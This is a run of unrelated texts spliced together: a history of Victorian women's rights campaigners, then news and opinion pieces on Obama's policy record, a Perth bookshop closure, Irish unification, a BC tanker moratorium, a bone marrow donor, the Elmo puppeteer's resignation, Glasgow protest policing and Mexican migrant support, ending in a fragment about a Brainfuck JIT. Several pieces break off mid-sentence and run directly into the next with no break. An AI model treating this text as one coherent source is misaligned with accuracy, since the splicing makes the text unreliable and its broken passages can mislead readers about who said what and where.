Norton’s first battle was to secure the passage of the Infant Custody Act in 1839. This was a landmark in women’s rights. If a woman had not had adultery proven against her in a court of law, she could have custody of any child under seven – hitherto they had been the husband’s property, irrespective of his character. Only one of her three sons was sufficiently young, and her husband, whose vindictiveness knew no bounds, moved them to Scotland, where the act did not apply. It was not until her youngest son died of lockjaw in 1842 that she was allowed custody of the other two boys – then aged 13 and 11 – for half the year.
There were several attempts in the 1840s and early 1850s to bring in a divorce law that would treat women compassionately. A wider campaign was already under way for property rights for women, led by Barbara Bodichon, the leading feminist of the 1850s. Lord Cranworth, the lord chancellor, laid a bill in the House of Lords in 1854 to make divorce more widely available. It was sidelined over the next year. Only when Palmerston, the prime minister and a legendary womaniser, adopted the idea – in the teeth of attritional opposition from Gladstone, citing religious objections – that the measure finally passed into law in the summer of 1857.
By then, however, 10,000 clergy had signed a petition against divorce. It demanded: “Remembering also, that it is declared in the Word of God, that marriage with a divorced woman is adulterous, we fervently pray that the Clergy of this realm may never be reduced to the painful necessity of either withholding the obedience which they must always desire to pay to the law of the land, or else of sinning against their own consciences, and violating the law of God by solemnising such marriages as are condemned as adulterous in His Holy Word.” Such objections were to no avail. There were three divorce cases in 1857, but 300 in 1858, the act coming into force on 1 January that year.
The first stirrings of the feminist movement came in the field of education. Some radical families allowed their daughters to cultivate minds of their own and it was the products of such families who sought, in the 1840s, to found a college for women to provide a higher education such as men of the upper classes could take for granted. Victorian literature – as with Victorian reality – abounds with intelligent women going mad with frustration, denied the means to sate their intellectual curiosity and the opportunity to pursue a career. The embittered Mrs Transome, in George Eliot’s Felix Holt, the Radical, is virtually imprisoned in her gloomy Midlands mansion. Florence Nightingale, by force of character, ensured her parents could not stop her training as a nurse; her elder sister Parthenope was so frustrated by her own lack of opportunity, and so envious of Florence’s success, that she became, for a time, a chronic hysteric.
Ladies’ colleges began in London with support from the Christian Socialist Frederick Denison Maurice and his disciple Charles Kingsley, the author of The Water Babies. In 1849 Elizabeth Jesser Reid, a Unitarian philanthropist, founded what came to be known as Bedford College, the first institution for the higher education of women in Great Britain. By the 1870s, colleges offering something like a university education were at last available to women at the ancient universities, even if Cambridge – the first of the old institutions to agree to allow women to attend lectures – still refused to award them degrees (and, to its shame, continued to refuse until 1948).
Emily Davies was a pioneer of the movement that stormed Oxbridge and she brought with her feminist views that followed the idea of education of women to a logical conclusion: women should also have the vote, and should find none of the professions barred to them. Davies was born in 1830, the daughter of a clergyman, John Davies, who consigned her to a life of assisting with the family needlework and, when old enough, doing good works in Gateshead, his parish. Davies resented this; in her twenties, she met two women who inspired her to campaign for women’s education and suffrage. One was Elizabeth Garrett, six years her junior, who would become the first female doctor in Britain; the other Barbara Bodichon, three years her senior.
Bodichon was known for her campaign to reform women’s property rights, which succeeded in the early 1870s. She was also one of the most prominent members of the Langham Place circle of feminists and a first cousin of Florence Nightingale: but Barbara was illegitimate and much of the family refused to know her. She was educated by private tutors and at various schools; and when she came of age in 1848 her father gave her shares and property to provide a private income, allowing her the independence to pursue her main career interest (which was to become an artist) and to engage in political campaigning. That led her into close associations with Mill, through his stepdaughter Helen Taylor, and George Eliot. She regarded her money as “a power to do good... a responsibility we must accept”.
Visiting London in 1859, Davies and Garrett attended lectures given by Elizabeth Blackwell, an Englishwoman who had become the first female doctor in the United States, and who inspired Garrett’s campaign in Britain. Blackwell had been urged to come to Britain by Bodichon, to help Garrett’s campaign. Davies also joined the Society for Promoting the Employment of Women, and joined Garrett’s movement to persuade London University to award degrees to women. She edited the English Woman’s Journal, which Bodichon and others had founded in 1858 as an organ of feminism. One of her campaigns was to allow girls to take the Cambridge local examinations, in which she had the support of Matthew Arnold, who wanted female teachers to have a recognised qualification. When it succeeded, Davies found 83 girls in just six weeks to take the exams, 25 of them from Frances Buss’s North London Collegiate School. It was also thanks to one of Davies’s campaigns that the Taunton commission of inquiry into endowed schools considered the education of middle-class girls as well as that of middle-class boys. When she gave evidence to it in 1865 it was the |
position he was forced into after the midterms, and the backdrop to that was the poor state of the economy. Here, Obama needs to take blame for baffling early neglect of Federal Reserve nominations as well as a lack of creative thinking on fiscal stimulus.
Still, even on its worst point, the Obama administration can argue that the USA has outperformed other major world economies. This chart the administration likes probably scants the extent to which Germany and the UK have done better than us at job creation even as they do worse at growth. But it makes the point that, in context, US economic performance under Obama has been decent.
The post-legislative era
Campaigning for re-election in 2012, Obama mused that if he won the "fever" of opposition in Congress would break and it would be possible to get more done. It didn't come to pass. But rather than retreat into irrelevance, the Obama administration uncorked a series of game-changing policy measures he could conduct through the executive branch.
In an excellent November 26 article, Coral Davenport observed that Obama will likely "leave office with the most aggressive, far-reaching environmental legacy of any occupant of the White House" even though "it is very possible that not a single major environmental law will have passed during his two terms in Washington." The Clean Air Act of 1970 simply turns out to be a very powerful tool crafted by very ambitious legislators, who wanted to make sure future administrations would be able to address not-yet-foreseen environmental problems. He's used that law to issue a "series of landmark regulations on air pollution, from soot to smog, to mercury and planet-warming carbon dioxide."
In his second term, Obama has also managed to get a record number of judges confirmed thanks to Democrats' use of the nuclear option to reduce filibustering. When Obama took office, 10 of the 13 appeals courts had Republican majorities — today only four do.There will soon be one less book shop in the Perth CBD with Dymocks in Hay Street scheduled to close its doors this weekend.
Staff made the announcement on Friday with customers expressing their regret at the store's demise.
Crowds queued outside the Hay Street store in November for a book signing by author Matthew Reilly Credit:Dymocks Hay Street / Facebook
"It is with deep sorrow that after almost 25 years we have to announce that we're closing. Last day will be the 14th of June so we hope that we will see you before then for a last hurrah (and 40% off)," management wrote on the store's Facebook page.
It's understood the store has reached the end of its lease and that it will not be renewed. The Hay Street franchisee declined to provide a further statement.BOTH IRELAND AND Northern Ireland would significantly benefit from reunification, a new report suggests.
The report, Modeling Irish Unification, is published by KLC Consulting in Vancouver, British Columbia and was written by economist Dr Kurt Hubner.
Launching today in Dublin, the research is based on the models of unification seen in Germany in the late 20th century and post-partition Korea.
Three unification scenarios were presented, with the most aggressive estimating a €35.6 billion boost in an all-island GDP in the first eight years of unification.
It found that there would be long-term improvement in the Northern Irish economy as a result of the removal of “currency, trade and tax barriers” which it says currently impede the country’s economic growth.
At the same time, the Republic would benefit from barrier-free access to the Northern Irish market.
“Our modeling exercise points to strong positive unification effects driven by successful currency devaluation and a policy dependent industrial turn-around,” said Dr. Hubner.
While these effects occur in a static global economic environment, under ideal political conditions, they underline the potential of political and economic unification when it is supported by smart economic policy.
The political unification of the country would, the report says, ideally happen after economic unification to reduce uncertainty.
However, it does not make any calls for political integration, saying that isn’t even necessary, citing the creation of the Common Market.
This is less the heroic assumption as political transitions costs are not necessarily negative, particularly in the case where economic unification is a democratically legitimised event. Political unification outside of transition, however, is generally understood to be a more efficient form of government.
“This is evident in theory that supports harmonisation of functions of government, like tax collection, legal order, and tax-funded operations of political machinery.
“The removal of duplicate government services on the island would lead to greater efficiencies, synergies, and economy of scale savings.”
The report says that two lessons can be drawn: first that any unification would require “careful and reflective public policies” and second, that “securing and improving the workforce will lessen the cost of unification and attract FDI”.CALGARY – Aboriginal chiefs backing a pipeline through northern British Columbia plan to challenge Prime Minister Justin Trudeau’s “ill-conceived” moratorium on oil tanker traffic off the northern section of Canada’s West Coast.
“I think it’s for the betterment of the country that we do challenge it,” Woodland Cree Chief Isaac Laboucan-Avirom said Monday of the federal Liberal government’s planned tanker ban.
The Liberals introduced Bill C-48, the Oil Tanker Moratorium Act, on Friday to stop tankers from shipping oil through ports in northern B.C.
“The decision to do that impairs not only the people on the coast but it impairs the diverse Canadian economy,” Laboucan-Avriom said, adding there was “absolutely a lack of consultation.”
Laboucan-Avirom is a member of the chiefs’ council for Eagle Spirit Energy, which he describes as “the largest First Nations endeavour in the world” and has proposed a $14 billion pipeline between Fort McMurray, Alta. and Prince Rupert, B.C.
Eagle Spirit is a private company and is supported by prominent Canadian business executives including the Aquilini Group, which owns the Vancouver Canucks, and AltaCorp Capital chairman and CEO George Gosbee.
Eagle Spirit president Calvin Helin said his company will decide whether or not to oppose the legislation after meeting the chiefs’ council.
“This is their project,” Helin said, adding, “there’s real resentment that there was no consultation about implementing a moratorium.”
Martin Louie, a hereditary leader with the Carrier Sekani, said he opposed Northern Gateway but supports Eagle Spirit and sits on the project’s chiefs’ council because the project has agreed to be assessed by aboriginal groups.
“We proposed a different method of assessment on traditional land,” Louie said.
On Friday, Eagle Spirit’s chief’s council issued a press release slamming Ottawa’s moratorium as “ill-conceived” and “inappropriate.”
“As Indigenous peoples, we want to preserve the right to determine the types of activities that take place in our territories and do not accept that the federal government should tell us how to preserve, protect and work within our traditional territories,” the release states, adding the group is considering its legal options.
“Once again the federal government is not respecting nation-to-nation dialogue and consultation and is forging ahead on proposals without the consent of many Indigenous communities,” it reads.
The Liberals promised a ban on oil tanker traffic during the 2015 election and Trudeau asked his ministers, in their publicly released mandate letters, to work together to develop the moratorium.
The bill introduced last week, however, does allow small ships to transport oil to northern communities on the B.C. coast “to ensure northern communities can receive critical shipments of heating oils and other products,” according to a release.
The legislation has also drawn criticism from the Canadian oil and gas industry. Canadian Association of Petroleum Producers president and CEO Tim McMillan said the energy industry will present the federal government with scientific evidence to convince politicians to end the moratorium.
That evidence would come from data on Canada’s existing “world-class” safety system for tanker traffic movements.
“We were looking for the government to give us some scientific evidence fore where the problems were – that did not happen,” McMillan said, adding that he has meetings set up with both Natural Resources Minister Jim Carr and Transportation Minister Marc Garneau.
McMillan said and oil producers have been shipping through ports, including in Vancouver, for years and the ban on tanker traffic could hamper both light and heavy Canadian oil businesses.
David Black, who owns Black Press Ltd. and has proposed an oil refinery in Kitimat, B.C., said the tanker ban wouldn’t be a problem for his project, but shipping bitumen off the West Coast is a concern for B.C. residents.
“It’s not the pipeline that’s so worrisome, it’s the fact that they’re putting diluted bitumen on the water,” Black said.
“It’s crazy to put it in tankers on B.C.’s coast and the solution is a refinery,” he said.
Financial Post
gmorgan@nationalpost.com
Twitter.com/geoffreymorganPrior to attending the match against Chivas USA on June 25, 2011, Rebecca Rizzo received an email stating that DKMS, an organization that seeks donors for blood cancer patients planned to conduct a Swabathon within Toyota Plaza outside PPL Park. Realizing the importance of the cause, she decided to take the time before the game to head over to the Delete Blood Cancer booth and offer a sample to get into the database as a potential donor.
Late last week, Philadelphia Union received admirable news from the Rizzo family when it was found that through their partnership with Delete Blood Cancer DKMS, Rizzo, an avid Union fan and season ticket holder, was recently informed she was a match for a patient after she supplied that swab sample. Rizzo's husband Bill sent the following via email:
"I am excited to notify you that as a result of this partnership, the Delete Blood Cancer DKMS Organization has indeed found someone my wife is compatible with and she has begun taking the necessary steps to follow through on her commitment and hopefully save someone’s life through the donation of her bone marrow.
We would like to thank the Union for partnering with such worthy causes. It gives me so much pride to know that the team I support and love is not only working to win matches on the pitch, but striving to create greater good in the community through the sport of soccer. This will hopefully bring more attention to this disease and what can be done to help those in need along with spotlighting the good work the Union are doing to support great causes that make the world a better place."
For Rebecca Rizzo, this is a cause that already held a special place in her heart. At a young age, her brother was diagnosed with meningitis. After he spent about five months at Children’s Hospital of Pennsylvania, doctors contemplated the option of a bone marrow transplant. As his sibling, Rebecca, naturally was the closest match.
"I was just so excited at the fact that the five minutes of my time, in doing the swab, could give somebody an extra 50 years on their life." - Rebecca Rizzo
“Ever since then I have felt almost an obligation to be able to be out there and be willing to donate to whoever might need something that I can give them,” Rizzo said during an interview with philadelphiaunion.com this week.
Luckily for Rizzo and her family, her brother was able to recover to the point where he did not require the transplant. Even though she was off the hook, Rizzo’s desire to help others and look into future possibilities of doing so remained.
“I didn’t end up donating it that time because he made enough of a recovery that he didn’t need the bone marrow transplant, but I continued to think about it and think that this is possibly something I’d want to do in the future as I become an adult,” she said.
After spending months in the bone marrow database as a potential donor, Rebecca received an email informing her that she was a match and had the opportunity to help a lucky patient. There are many cases when people are confirmed as a match, they decline to follow through, but that wasn’t the case with Rizzo. Rather than worry about how it would affect her, she instead looked at the positives it would have for a person in need and was more than happy to donate the bone marrow.
“I was just so excited at the fact that the five minutes of my time, in doing the swab, could give somebody an extra 50 years on their life,” Rebecca said. “Whatever minimal pain I have to go through, a family won’t have to go through the pain of losing a loved one.”
Rizzo has undergone the initial blood work process that is required prior to donating and is just waiting to receive the go ahead from the recipient’s side. It is estimated that the donation could take place within the upcoming two months. In the meantime, her family, friends, coworkers and especially her husband, Bill have all been very supportive and excited for her. However, for Rizzo, the wait has really become the most mentally draining part of the process.
“Now I am just sitting and patiently waiting and it is the longest eight week period I have ever had to go through in my life,” she said. “I am anxious, but I’m willing to do it whenever I get that phone call or get that email to say let’s go.”
According to the United States Health Resources and Services Administration, over 18,000 people from age 0-74 in the United States could have their life potentially saved from a bone marrow or umbilical cord blood transplant. Many of these patients are ones that suffer from leukemia, lymphoma, meningitis, or other life-threatening diseases, but can all be helped through a transplant. Realizing the high amount of people in need, Rizzo is not stopping at her own donation, but wants to spread the word and help get others involved.
Rizzo currently works as a physical therapist at Underwood Memorial Hospital in South Jersey and is making an effort to have a swabathon at the hospital. She is also hoping, once she finishes her donation, to continue to volunteer and help Delete Blood Cancer in their cause.
“I hope to sometime in the future continue to volunteer with them, help with swabathons in the community, and be involved with the program however I can,” Rizzo said.
A cause that was spawned through the efforts of the Union, urging others to consider taking a second of their time to see if they could add years to the life of someone else.
Just like Rebecca Rizzo did.
Contact Union writer Howard Hutchinson at hhutchinson@philadelphiaunion.comKevin Clash arrives at the 34th Kennedy Center Honors held at the Kennedy Center Hall of States on December 4, 2011 in Washington. (credit: Michael Tran/Getty Images)
The Sesame Workshop says Elmo actor Kevin Clash has resigned from “Sesame Street” in the wake of an allegation that he had sex with an under-aged youth.
In a statement issued Tuesday, the Sesame Workshop called the controversy surrounding Clash’s personal life “a distraction that none of us want” and that Clash “has concluded that he can no longer be effective in his job.”
The company called Clash’s resignation “a sad day for Sesame Street.”
1010 WINS’ Al Jones Reports https://cbsnewyork.files.wordpress.com/2012/11/elmo-1newjones-w36-soc-afarr.mp3
“Sesame Workshop’s mission is to harness the educational power of media to help all children the world over reach their highest potential,” the company said in a statement. “Kevin Clash has helped us achieve that mission for 28 years and none of us, especially Kevin, want anything to divert our attention from our focus on serving as a leading educational organization.”
As the announcement was made, a lawsuit was being filed in federal court in New York charging Clash with sexual abuse of a second youth. The lawsuit alleges that Cecil Singleton, then 15 and now an adult, was persuaded by Clash to meet for sexual encounters.
The first reports on the incident with Singleton said it happened in 1993, but a corrected complaint said was actually 2003, according to a published report.
“Since I found out that there were other people or victims in a similar circumstance, I felt very guilty,” Singleton said at a news conference. “I felt really guilty because regardless of my maturity or my experience at 15, they were likely not the experiences of any normal 15-year-old.”
Last week, Sesame Workshop announced that Clash was taking a leave of absence from the popular kids’ show following allegations that he had a relationship with a 16-year-old boy.
Clash denied that charge, calling it “false and defamatory.”
That accuser, Sheldon Stephens, now 23, recanted his claims a day later and said through an attorney that his sexual relationship with Clash was adult and consensual.
Clash, 52, has been with “Sesame Street” since 1983.
Clash is not the first member of the “Sesame Street” troupe to puppeteer Elmo – Brian Muehl and the late Richard Hunt also had brief stints with the little red monster – but Clash is responsible for creating the character’s distinctive voice and personality.
On its own Web site, “Sesame Street” says “it wasn’t until Clash started performing him in 1984 that the effervescent monster became the huge international sensation that he is today.”
Clash also performs Hoots the Owl, and has portrayed the characters Dr. Nobel Price and Baby Natasha.
This is not the first time that a member of the “Sesame Street” cast has been hit with controversy. Back in 1980, Northern Calloway, the actor who played Hooper’s Store assistant and later owner David, was arrested amid a nervous breakdown in Nashville, after beating a woman with a metal iron and damaging two homes before being found by police in a state of psychosis wearing only a T-shirt.
But Calloway, who was later diagnosed with bipolar disorder, remained with the show for another nine years, until he was dismissed and his character was written out. He died in 1990.
Do you think Clash should have resigned? Sound off below.
(TM and Copyright 2012 CBS Radio Inc. and its relevant subsidiaries. CBS RADIO and EYE Logo TM and Copyright 2012 CBS Broadcasting Inc. Used under license. All Rights Reserved. This material may not be published, broadcast, rewritten, or redistributed. The Associated Press contributed to this report.)Over the past few weeks, Glenn Beck and Fox News have been pushing a totally baseless smear against Yale Law School Dean Harold Koh and the Obama Administration. Their essential claim: that through Koh, the White House was seeking to impose Sharia law in the United States.
Despite being fueled by a New York Post column written by a former Bush speechwriter, the absurd smear has mostly fizzled. Earlier this month, former conservative attorney Ted Olson, who served both Reagan and Bush, endorsed Koh.
Now, the Yale Daily News reports Kenneth Starr has also endorsed Koh:
As conservatives continued to attack outgoing Yale Law School Dean Harold Hongju Koh’s nomination to the Department of State last week, an endorsement came from the unlikeliest of people. In a speech at Yale Law School on Thursday, conservative icon Kenneth Starr announced his support for Koh before an audience of about 95 students and professors, two people in attendance said. The endorsement from Starr — whose report on the Monica Lewinsky scandal paved the way for the impeachment of President Bill Clinton LAW ’73 — comes as right-wing critics continue to allege that Koh will place international statutes above American law. According to the two audience members, Starr said the Senate should defer to the president’s nominations, especially those in the executive branch. As long as the nominee demonstrates integrity and competence, Starr added, the president deserves to appoint his own assistants and advisers.
We've now got two leading conservative legal minds who have rejected the loony attacks advanced by Fox News against Harold Koh.
Neither Starr nor Olson agree with Koh on every legal issue; they are conservatives, he is not. But at the same time, Starr and Olson recognize that Koh is perfectly qualified for the job, and absolutely capable of preserving and protecting the Constitution of the United States.
The fact that taking such an eminently reasonable position sets them apart from the bulk of the conservative movement is all you need to know to understand just how extremist and nutty the right-wing has become.David Cameron's temper is becoming legendary (and not in a good way), with Ed Miliband making concerted efforts to rile him in Prime Minister's Questions. It's a clear weak spot. Last week, the Labour leader said that he hoped Cameron would be getting anger management lessons before his appearance at the Leveson inquiry. After Cameron lost his temper again today, we have collated five of his "finest" moments.
1. The muttering idiot
Ed Balls takes great delight in teasing Cameron at PMQs, and hit his target today, being called the'muttering idiot opposite' by Cameron. The speaker asked for the remark to be withdrawn.
2. “Calm down dear”
Cameron alienates feminists (and Michael Winner-haters) everywhere by telling Angela Eagle MP to “calm down dear, calm down, calm down” when he mistakenly said Dr Howard Stoate had lost his seat in the previous election. He hadn't, he'd stood down.
3. Help the aged
Dennis Skinner, 80, was told by the Prime Minister "Well, the honourable gentleman has the right, at any time, to take his pension and I advise him to do so," after the MP accused Cameron of letting Jeremy Hunt take the blame for his inappropriate relationships with News International. So that's the geriatric vote gone.
4. Balls again
It's fair to say the House of Commons sometimes has the atmosphere of the school room. Never more so than David Cameron's snapping at the two Eds as he heard them talking during his speech. He said “I wish the Shadow Chancellor would occasionally shut up and listen to the answer.” and labelled Balls “the most annoying person in modern politics”.
5. "I know you're frustrated"
Cameron hit the feminists again, patronising Nadine Dorries, when he said “I know you're very frustrated”, over the abortion debate, then tried to restrain his giggles. Statesmanlike.Get the biggest Liverpool FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
According to popular opinion, his unequivocal support and aggressive defence of Luis Suarez was a major factor in Kenny Dalglish getting the sack.
Dalglish’s refusal to yield an inch in the Suarez-Evra affair was widely condemned – the manager’s consent to the wearing of T-shirts proclaiming solidarity with the striker deplored by many.
Dalglish must now watch Suarez and Liverpool with a rueful smile. He backed his player because he believed his account of the exchange with Evra and believed his explanation.
That faith might have backfired on Dalglish – but not on Liverpool.
Who is to say that, without the circling of the wagons around Suarez, the player would still be there?
Without doubt, Suarez has been made to feel like he belongs at Anfield – and that process began long before Brendan Rodgers arrived.
It was not the motivation for standing so squarely behind Suarez, but Dalglish recognised that Liverpool had a special player – a No.7 who, in time, could be as influential as Kevin Keegan and Dalglish himself (incidentally, none of the starting XI for Liverpool’s victory over Sunderland was recruited by Rodgers).
Liverpool’s support of Suarez has paid dividends.
He signed a new contract and is already embedded deep into supporters’ affections – affections which dull any hurt he must feel from the vitriol directed from other quarters.
Because there is still a widespread reluctance to give Suarez, the footballer, the credit he deserves.
Although there is still just under half of the season to play out, some thoughts have begun to turn towards individual accolades.
Will it sit easily with the Professional Footballers’ Association and the Football Writers’ Association if Suarez is named as the recipient of their respective annual honours?
Right now, I’ve got him down as a clear leader.
Gareth Bale and Juan Mata have illuminated passages of the season so far, Leighton Baines has been consistently excellent (but defenders rarely win awards) and Robin van Persie has done what the world and his wife knew he would… scored a hatful for Manchester United.
But in terms of an individual’s importance to his team, Suarez is miles ahead.
We all know the crimes that will count against him, though – stretching back to his bite in Holland and his World Cup handball through to his racial abuse of Evra, his diving and his occasional penchant for leaving a foot in.
Even considering some of the characters that have been named Player of the Year and Footballer of the Year – think Wayne Rooney and Eric Cantona, for instance – that’s a heck of a rap sheet to ignore.
But there have been signs in recent games that Suarez is aware of a need to curtail his dramatics.
And while he, presumably, believes he committed no crime in the first place, there has been no indication he will repeat the offence that outraged so many and earned him an eight-match suspension.
We should not forget his heinous offence against Evra – but we can all forgive.
The Footballer of the Year award, in particular, takes into account the example set by a player.
Right now, the example being set by Suarez is of matchless commitment to the team’s cause, of an insatiable hunger, desire and passion for the game, of invention and world-class ability.
No wonder Dalglish recognised the importance of Suarez to the future of Liverpool Football Club.
The baggage Suarez is trying to shed will still prove too weighty for many.
And he may well let himself down again. At the moment, though, he is entitled to a break.
As the current chairman of the Football Writers’ Association, it will be my duty to present the Footballer of the Year trophy in May.
And right now, there would be no problem in handing it to Suarez.
Click here for more from Andy Dunn: Are Manchester United that good or the rest of the Premier League 'contenders' that bad?After the debacle of the refugee demo earlier this month which generated a pile of complaints about the heavy handed and racist policing of a planned rally in support of refugees moved on so that a public square could be given over to fascists and has necessitated an internal inquiry, you may think that Strathclyde Police would rethink their strategy for the facilitation of peaceful protest.
It would seem not.
On Saturday, Nick Griffen had called for “200 nationalists” to turn up in Glasgow. Apparently the English Defence League and the BNP were planning a wee trip north for the day. Lots of people in Glasgow dont actually like Nick Griffen and his rag-tag lackies very much and were keen to make him aware of that. So a call went out from Glasgow Anti-fascist Alliance to support a Diversity Rally called on Buchanan Street near the Palestine Human Rights Campaign and the Communist Party, both of which had been targeted before by fascists. Before it even got to Saturday, Auld Nick had figured that he wasn’t really going to be that well received, withdrew the call and went for a daytrip to Dalkeith instead. Turns out that they don’t really like him much in Dalkeith either– who’d have thunk it huh?
On Saturday I was running late. Passing the Museum of Modern Art, I spotted a group of around 6 men that I recognised as fascists from previous incidents; as inconspiciously as I could I made my way down to the rally hoping to catch the last half hour or so. When I got there, there were around 50 people looking worried and confused who told me that the majority of those who had turned up had been kettled further down Buchanan Street. When I made my way down there, there were over 100 people held in a kettle (or as the police insisted, a cordon). A legal observer outside the cordon told me that the police justified this by Section 17 (1) of the Police Act (Scotland) and that a Section 60 was in place and they had been searching people as they were released from the kettle. Section 17(1) of the Police Act Scotland reads
17 General functions and jurisdiction of constables. (1)Subject to the provisions of this Act, it shall be the duty of the constables of a police force— (a) to guard, patrol and watch so as— (i)to prevent the commission of offences.
(ii)to preserve order, and
(iii)to protect life and property; (b) where an offence has been committed (whether within or outwith the police area for which the police force is maintained) to take all such lawful measures, and make such reports to the appropriate prosecutor, as may be necessary for the purpose of bringing the offender with all due speed to justice; (c) to serve and execute when required any warrant, citation or deliverance issued, or process duly endorsed, by a Lord Commissioner of Justiciary, sheriff, being a warrant, citation, deliverance or process relating to any criminal proceeding; (d) to attend any court of law for the purpose of giving evidence;
This is the same piece of legislation that they arrested people with failing to comply with a few weeks prior. I’ve now read through Section 17 in its entirety. There is absolutely nothing in it that I can see that an individual citizen need comply with. It relates entirely to police officers.
Clearly sections (c) and (d) were not relevant, but it took a long time to establish that no offence had been committed and that they were acting under S17 (1a). They could give me no details of what offences they thought may be commissioned, and those in the kettle had no need of police protection, so by a process of elimination we established that they were detaining over 100 people, including two local councillors in a massive police operation causing considerable disruption to passers-by “to preserve order”.
Fit teams were in operation, filming everyone in the kettle, and they were releasing people one by one, searching them under Section 60 of the Criminal Justice Act, which had been put in force across the whole of Glasgow until 6pm that evening, which authorises them to search for “offensive weapons or dangerous instruments” without requiring suspicion. As they searched they demanded the names and addresses of those being released, and photographed them as they were searched. We quickly got word around that the police had no power to compel you give your name and address under either S60 or S17, and recommended that people did not do so, given that this information could be held for seven years, and that although the police had the power to remove (and confiscate) masks, people may want to cover their face with their hands as they were photographed (0.00 -0.20 in the video below).
As we waited for people to be released, someone jokingly shouted to a local Green councillor that it would take quite a while for her search (as being of the Greenie persuasion, she was inevitably accompanied by her trademark hemp bags), at which point a police officer stood nearby laughed and said that he didn’t think that she would be searched. When I asked why not, he told me that only some people were being searched. And sure enough some people were being released with no search, it would seem that there was a level of profiling going on, with young working class men being targetted. As people were released and the kettle dwindled, one men refused to be searched under Section 60. A second man, who had previously been released from the kettle without search tried to film the arrest. Officers moved in and demanded to search him under Section 60. He too refused (1.57 – 3.53 in the video below). Both men were arrested. Needless to say that no “offensive weapons or dangerous instruments” were found on any of the people searched. This video taken by the second man documents these events.
So, the complaints form for Strathclyde Police got another little battering on Saturday night. But before the ink was even dry, Strathy Polis were are it again. A rumour on the grapevine told us that David Cameron was planning to visit Glasgow Central Hotel yesterday afternoon. With less than 24 hours notice, a goodly number of people showed up to give him the welcome he deserved. Turns out that he is only marginally less hated than Nick Griffen…who’d have thunk it, huh?
A crowd of around 50 people gathered outside the Hotel and a noisy protest ensued (00.00-00.18 in the video below). A senior police officer came over to the protest, and demanded that the protest moved into a pre-formed kettle, quoting Section 14 of the Public Order Act (01.20 – 3.20 in the video below). No-one knew anything about this legislation which has the power to curtail your rights under Article 11 of the European Convention of Human Rights. This legislation states
If the senior police officer, having regard to the time or place at which and the circumstances in which any public assembly is being held or is intended to be held, reasonably believes that—
(a)it may result in serious public disorder, serious damage to property or serious disruption to the life of the community, or
(b)the purpose of the persons organising it is the intimidation of others with a view to compelling them not to do an act they have a right to do, or to do an act they have a right not to do, he may give directions imposing on the persons organising or taking part in the assembly such conditions as to the place at which the assembly may be (or continue to be) held, its maximum duration, or the maximum number of persons who may constitute it, as appear to him necessary to prevent such disorder, damage, disruption or intimidation.
And instructed the protesters to move away from the entrance to the hotel to a sidestreet, that their numbers may not increase that they must disperse by 5.30 pm.
A protester was called on to become a legal observer and the legislation was read out to her. Despite requests, no guidence was given on what the “reasonable belief” was based on, what serious disorder, damage or disruption they were trying to prevent or what intimidation they believed the purpose of it was.
As people reluctantly and resentfully moved into the kettle, knowing how handcuff-happy Strathy Polis can be, at least two people were threatened with arrest – one for using swear words in public and one for nothing at all (5.53 – 6.00 in the video below). As the legal observer tried to get phone support from a more experienced legal observer for this unfamiliar legislation and talk to a group of people, who had turned up to protest and were being prevented from doing so, to explain the legislation that they were using to prevent this, a police officer grabbed her by the wrist and threatened her with arrest. When asked what legislation they were arresting her under, the police officer looked confused, and eventually let her go to speak to the group (end of incident at 6.20-6.33 in the video below). When she was called over a second time, to provide support to photographers, she was told that she must join the protest, when she refused to protest, they again attempted to arrest her (6.45-9.45 in the video below). Preferring not to spend a night in the cells, she went off to the protest. A second legal observer was also targetted by the police (10.13-10.30 in the video below), while a senior police officer moved in on the cameraman who had been documenting the exchange.
At 5.30pm on the dot, the police moved quickly into the demonstration – forcing people down the street and away from the hotel. Two arrests then took place – its unclear what they were charged with or what legislation the police were using.
This kind of policing is totally unacceptable. Fascism comes in many guises and we must challenge all of them.Image copyright AP Image caption There have been protests against Mr Trump's election and in support of immigrants in a number of US cities
Mexico has published a list of measures aimed at helping Mexicans living in the United States from becoming the victims of what it called abuse and fraud.
Under the title "we are with you," it issued a list of 11 immediate steps, including a hotline, and warns citizens "to avoid any conflict situation".
The move comes a week after Donald Trump won the US presidential election.
Mr Trump's plan to deport millions of undocumented migrants is a cause of concern to many Mexicans in the US.
While the Mexican foreign ministry's statement (in Spanish) does not mention Mr Trump or his election win directly, it comes just days after he said he would deport or jail up to three million undocumented migrants soon after taking office.
Mexican citizens account for a large percentage of the estimated eleven million total undocumented migrants in the US.
The foreign ministry said it would increase the number of appointments at its consulates to ensure that its citizens could get their documents, such as passports or birth certificates, in order.
Image copyright Getty Images Image caption Unlike this truck driver, not all Mexicans in the US have their documents in order
The ministry also said it would introduce an app which contains information on migration issues and contact details for Mexican consulates in the US.
The consulates will make a greater effort to reach out to citizens and will "strengthen the dialogue with state and local authorities", the statement says.
The new 24-hour hotline will be accessible to Mexicans in the US to answer questions about immigration measures or report "any incidents".
Many Mexicans in the US fear that Mr Trump's pledge to deport or jail undocumented migrants soon after he takes office will result in a rise in discrimination against them.
They are also concerned that even those who have their documents in order could get caught up in police raids or checks.
Will Trump chase illegal immigrants from the US?
Image copyright AP
Mr Trump has said that on his first day in office he will sign orders to speed up the removal of "criminal illegal immigrants", such as gang members and drug dealers.
Overall, there are about 11 million illegal immigrants in the US, and Mr Trump has published a 10-point plan on immigration which includes overturning amnesties introduced by President Barack Obama, strictly enforcing immigration laws and deporting those who do not have correct documents.
In the US, though, illegal immigrants do have a right to due process, so many more judges and prosecution lawyers will need to be appointed to make this happen in practice and it could clog up the court system for years to come.
Congress would need to approve funding for this process.
Mr Trump is expected to revoke President Obama's executive orders of 2014, which gave hundreds of thousands of illegal immigrants temporary legal status and an indefinite reprieve from deportation. Executive orders allow presidents to introduce their own legally binding policies without Congressional approval.
Read more: Trump presidency: Your questions answeredUpdate: According to Forbes, a Target spokesperson has responded, saying "This is not a real product – we’re sorry for any confusion." The spokesperson did not elaborate further, so we still don't |
compare the full sources of the the interpreter, the compiler, and the JIT. Each at ~100 lines of code should be fairly easy to digest.
Let’s now examine the performance of these three. One of the longer running Brainfuck programs I can find is one that prints the Mandelbrot set as ASCII art to stdout.
Running the UNIX command time on the interpreter, compiled result, and the JIT, we should expect numbers similar to:
